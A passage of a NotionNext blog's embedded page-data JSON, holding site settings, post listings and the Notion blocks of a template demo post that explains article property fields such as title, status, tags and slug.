-              </script></div><script id="__NEXT_DATA__" type="application/json" crossorigin="">{"props":{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection\u0026id=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026t=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":8,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"post":{"id":"041a3743-f888-4476-b947-fff856745c02","password":"d29c88a2bd1f06fcc58605a0261679a7","date":{"start_date":"2021-11-05"},"type":"Post","category":"未发布","slug":"article/example-2","tags":["开发","工具"],"summary":"本文需要输入密码才可访问,密码: 123456","title":"加锁文章2 - 密码123456","status":"Invisible","publishDate":1636070400000,"publishDay":"Nov 5, 2021","lastEditedDate":"2024-03-22T14:50:54.674Z","lastEditedDay":"Mar 22, 2024","fullWidth":false,"pageIcon":"","pageCover":"https://images.unsplash.com/photo-1599318011235-904154a09c36?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=041a3743-f888-4476-b947-fff856745c02","pageCoverThumbnail":"https://images.unsplash.com/photo-1599318011235-904154a09c36?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=041a3743-f888-4476-b947-fff856745c02\u0026width=800\u0026fmt=webp","tagItems":[{"name":"开发","color":"pink"},{"name":"工具","color":"pink"}],"blockMap":{"block":{"041a3743-f888-4476-b947-fff856745c02":{"value":{"id":"041a3743-f888-4476-b947-fff856745c02","version":12,"type":"page","content":["72b8d1f0-f81b-4278-aa3a-9ac1b0fddc1a","c51f7f53-67be-4fb5-aee5-427b0cf9819c","1fd8f1b6-9451-44d8-bc02-dd53ffa5cba9","10ad4028-c0e3-4095-aa46-81b07349c917","08c43877-2376-4822-87e5-a9a62b39c716","59d8f4bc-1fab-4205-aaa0-bd7aabf19e1f"],"format":{"page_font":"serif","page_cover":"https://images.unsplash.com/photo-1599318011235-904154a09c36?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb","block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","copied_from_pointer":{"id":"9e54f810-a708-40c4-95dd-4810f2e9b017","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.5},"created_time":1705594337113,"last_edited_time":1711119054674,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"9e54f810-a708-40c4-95dd-4810f2e9b017","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1711431614088,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"72b8d1f0-f81b-4278-aa3a-9ac1b0fddc1a":{"value":{"id":"72b8d1f0-f81b-4278-aa3a-9ac1b0fddc1a","type":"header","properties":{"title":[["一、模板使用说明"]]},"format":{"copied_from_pointer":{"id":"8e6405ad-b52d-4a3c-8de5-e413949d3aff","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337138,"last_edited_time":1705594337138,"parent_id":"041a3743-f888-4476-b947-fff856745c02","parent_table":"block","alive":true,"copied_from":"8e6405ad-b52d-4a3c-8de5-e413949d3aff"}},"c51f7f53-67be-4fb5-aee5-427b0cf9819c":{"value":{"id":"c51f7f53-67be-4fb5-aee5-427b0cf9819c","type":"text","properties":{"title":[["Notion页面中,每篇文章都有几个属性字段🤔,其说明如下:"]]},"format":{"copied_from_pointer":{"id":"a4fe4c8a-ce5a-437a-9f15-461ec2985719","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337138,"last_edited_time":1705594337138,"parent_id":"041a3743-f888-4476-b947-fff856745c02","parent_table":"block","alive":true,"copied_from":"a4fe4c8a-ce5a-437a-9f15-461ec2985719"}},"1fd8f1b6-9451-44d8-bc02-dd53ffa5cba9":{"value":{"id":"1fd8f1b6-9451-44d8-bc02-dd53ffa5cba9","type":"table","content":["07fbfdea-71f3-4a04-a46e-d30c98197895","07124e79-05b6-45ec-acdc-7e829b5fb052","c2736488-e788-48ce-99eb-06a320f157a4","5b8bdfb5-218c-44ea-b202-3212725d5cb1","d058828b-345a-4707-911f-e5e50787f92f","0aea5ed6-6d10-4206-82b8-3ccc61405ac4","e62533e4-84e2-4e0d-b304-373e3356dda2","be987026-44c1-4cd9-89c1-9a81441c1eaf","1d362ade-698d-4fdb-a250-09125240acc6","d8e128a1-26f0-46ed-bd03-0ae97c1da2aa","2bd9a3c8-b377-495f-a97d-1f14f07afb07"],"format":{"copied_from_pointer":{"id":"fa26eb5b-5b86-422a-ab84-8f328699ff1b","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"table_block_row_header":true,"table_block_column_order":["BYf{","GENW","Js[p","`VuO"],"table_block_column_format":{"BYf{":{"width":148},"GENW":{"width":77.00000762939453},"Js[p":{"width":239.00001525878906},"`VuO":{"width":315.66668701171875}},"table_block_column_header":true},"created_time":1705594337139,"last_edited_by":"27074aef-7216-41ed-baef-d9b53addd870","last_edited_time":1705594337139,"parent_id":"041a3743-f888-4476-b947-fff856745c02","parent_table":"block","alive":true,"copied_from":"fa26eb5b-5b86-422a-ab84-8f328699ff1b"}},"07fbfdea-71f3-4a04-a46e-d30c98197895":{"value":{"id":"07fbfdea-71f3-4a04-a46e-d30c98197895","type":"table_row","properties":{"BYf{":[["属性"]],"GENW":[["必填"]],"Js[p":[["说明"]],"`VuO":[["备注"]]},"format":{"copied_from_pointer":{"id":"75d23e0b-6ea5-4e1f-8530-216b1e4027bb","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337157,"last_edited_by":"27074aef-7216-41ed-baef-d9b53addd870","last_edited_time":1705594337157,"parent_id":"1fd8f1b6-9451-44d8-bc02-dd53ffa5cba9","parent_table":"block","alive":true,"copied_from":"75d23e0b-6ea5-4e1f-8530-216b1e4027bb"}},"07124e79-05b6-45ec-acdc-7e829b5fb052":{"value":{"id":"07124e79-05b6-45ec-acdc-7e829b5fb052","type":"table_row","properties":{"BYf{":[["title",[["c"]]]],"GENW":[[" 是"]],"Js[p":[[" 文章标题"]]},"format":{"copied_from_pointer":{"id":"705fd9b7-2b7c-4514-97bb-4bb957a5ec9f","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337157,"last_edited_time":1705594337157,"parent_id":"1fd8f1b6-9451-44d8-bc02-dd53ffa5cba9","parent_table":"block","alive":true,"copied_from":"705fd9b7-2b7c-4514-97bb-4bb957a5ec9f"}},"c2736488-e788-48ce-99eb-06a320f157a4":{"value":{"id":"c2736488-e788-48ce-99eb-06a320f157a4","type":"table_row","properties":{"BYf{":[["status",[["c"]]]],"GENW":[["是"]],"Js[p":[["发布状态"]],"`VuO":[["(仅当状态为"],["Published",[["c"]]],[" 时会被 展示)"]]},"format":{"copied_from_pointer":{"id":"84904f0b-1d58-4b66-877b-18500b2d4c39","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337157,"last_edited_by":"27074aef-7216-41ed-baef-d9b53addd870","last_edited_time":1705594337157,"parent_id":"1fd8f1b6-9451-44d8-bc02-dd53ffa5cba9","parent_table":"block","alive":true,"copied_from":"84904f0b-1d58-4b66-877b-18500b2d4c39"}},"5b8bdfb5-218c-44ea-b202-3212725d5cb1":{"value":{"id":"5b8bdfb5-218c-44ea-b202-3212725d5cb1","type":"table_row","properties":{"BYf{":[["date",[["c"]]]],"GENW":[["是"]],"Js[p":[["发布日期"]],"`VuO":[["2021/11/05"]]},"format":{"copied_from_pointer":{"id":"9c987743-6c91-4586-8096-33d79fa25a23","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337158,"last_edited_by":"27074aef-7216-41ed-baef-d9b53addd870","last_edited_time":1705594337158,"parent_id":"1fd8f1b6-9451-44d8-bc02-dd53ffa5cba9","parent_table":"block","alive":true,"copied_from":"9c987743-6c91-4586-8096-33d79fa25a23"}},"d058828b-345a-4707-911f-e5e50787f92f":{"value":{"id":"d058828b-345a-4707-911f-e5e50787f92f","type":"table_row","properties":{"BYf{":[["type",[["c"]]]],"GENW":[["是"]],"Js[p":[["页面类型 (博文"],["Post",[["c"]]],[" / 单页("],["Page",[["c"]]],[")"]],"`VuO":[["单页不会在博文列表显示 。"]]},"format":{"copied_from_pointer":{"id":"56f26e4f-6e1e-482e-8455-12d481741542","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337157,"last_edited_time":1705594337157,"parent_id":"1fd8f1b6-9451-44d8-bc02-dd53ffa5cba9","parent_table":"block","alive":true,"copied_from":"56f26e4f-6e1e-482e-8455-12d481741542"}},"0aea5ed6-6d10-4206-82b8-3ccc61405ac4":{"value":{"id":"0aea5ed6-6d10-4206-82b8-3ccc61405ac4","type":"table_row","properties":{"BYf{":[["summary",[["c"]]]],"GENW":[["否"]],"Js[p":[["内容摘要"]],"`VuO":[["搜索和简略显示会用到"]]},"format":{"copied_from_pointer":{"id":"8cb09fb7-bdfe-4e79-ab39-6c3373fa4a8d","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337157,"last_edited_time":1705594337157,"parent_id":"1fd8f1b6-9451-44d8-bc02-dd53ffa5cba9","parent_table":"block","alive":true,"copied_from":"8cb09fb7-bdfe-4e79-ab39-6c3373fa4a8d"}},"e62533e4-84e2-4e0d-b304-373e3356dda2":{"value":{"id":"e62533e4-84e2-4e0d-b304-373e3356dda2","type":"table_row","properties":{"BYf{":[["category",[["c"]]]],"GENW":[["否"]],"Js[p":[["文章分类"]],"`VuO":[["可以自定义"]]},"format":{"copied_from_pointer":{"id":"e9a63b43-d174-4e92-ab58-48d7acebb7bf","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337158,"last_edited_time":1705594337158,"parent_id":"1fd8f1b6-9451-44d8-bc02-dd53ffa5cba9","parent_table":"block","alive":true,"copied_from":"e9a63b43-d174-4e92-ab58-48d7acebb7bf"}},"be987026-44c1-4cd9-89c1-9a81441c1eaf":{"value":{"id":"be987026-44c1-4cd9-89c1-9a81441c1eaf","type":"table_row","properties":{"BYf{":[["tags",[["c"]]]],"GENW":[["否"]],"Js[p":[["文章标签"]],"`VuO":[["可多个,建议不要太多"]]},"format":{"copied_from_pointer":{"id":"430bd5a5-7afa-4b2d-ab20-4a1daa7d6727","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337157,"last_edited_time":1705594337157,"parent_id":"1fd8f1b6-9451-44d8-bc02-dd53ffa5cba9","parent_table":"block","alive":true,"copied_from":"430bd5a5-7afa-4b2d-ab20-4a1daa7d6727"}},"1d362ade-698d-4fdb-a250-09125240acc6":{"value":{"id":"1d362ade-698d-4fdb-a250-09125240acc6","type":"table_row","properties":{"BYf{":[["slug",[["c"]]]],"GENW":[["否"]],"Js[p":[["文章短路径"]],"`VuO":[[" (每篇文章唯一,请勿 重复)"]]},"format":{"copied_from_pointer":{"id":"8fe3d629-3b33-4001-afb7-1221b752f3c8","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337158,"last_edited_time":1705594337158,"parent_id":"1fd8f1b6-9451-44d8-bc02-dd53ffa5cba9","parent_table":"block","alive":true,"copied_from":"8fe3d629-3b33-4001-afb7-1221b752f3c8"}},"d8e128a1-26f0-46ed-bd03-0ae97c1da2aa":{"value":{"id":"d8e128a1-26f0-46ed-bd03-0ae97c1da2aa","type":"table_row","properties":{"BYf{":[["icon",[["c"]]]],"GENW":[["否"]],"Js[p":[["菜单栏图标(仅当"],["Page",[["c"]]],["类型有效)"]],"`VuO":[["可以参考:"],["图标库地址",[["a","https://fontawesome.com/v5/search"]]]]},"format":{"copied_from_pointer":{"id":"9bbf631a-8b66-4a97-a5d7-ebe36561f113","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337158,"last_edited_time":1705594337158,"parent_id":"1fd8f1b6-9451-44d8-bc02-dd53ffa5cba9","parent_table":"block","alive":true,"copied_from":"9bbf631a-8b66-4a97-a5d7-ebe